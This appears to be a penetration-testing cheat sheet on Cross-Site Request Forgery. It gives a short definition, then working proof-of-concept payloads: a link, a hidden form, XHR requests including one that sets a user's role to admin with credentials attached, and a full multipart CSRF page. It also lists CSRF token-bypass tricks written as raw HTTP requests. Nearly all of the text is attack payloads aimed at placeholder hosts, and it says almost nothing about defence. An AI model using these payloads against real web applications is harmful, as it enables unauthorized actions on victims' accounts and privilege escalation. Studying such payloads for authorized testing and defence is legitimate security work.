5.2 KiB
5.2 KiB
Cross Site Request Forgery (CSRF)
Introduction
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
Where to find
Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.
How to exploit
- HTML GET Method
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
- HTML POST Method
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="uname" />
<input type="submit" value="Submit Request" />
</form>
- JSON GET Method
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
- JSON POST Method
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
- Multipart request
<head>
<title>Multipart CSRF PoC</title>
</head>
<body>
<br>
<hr>
<h2>Click Submit request</h2><br>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example/api/users", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378");
xhr.withCredentials = true;
var body = "-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"update\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"user_id\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"uname\"\r\n" +
"\r\n" +
"daffainfo\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"first_name\"\r\n" +
"\r\n" +
"m\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"last_name\"\r\n" +
"\r\n" +
"daffa\r\n" +
"-----------------------------149631704917378--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
<br>
</body>
Bypass CSRF Token
But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things:
- Change single character
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
- Sending empty value of token
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=
- Replace the token with same length
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaabaa
- Changing POST / GET method
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
...
- Remove the token from request
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456
- Use another user's valid token
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
- Try to decrypt hash
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=MTIzNDU2
MTIzNDU2 => 123456 with base64
- Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=vi802jg9f8akd9j123
When we register again, the request like this
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=vi802jg9f8akd9j124
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part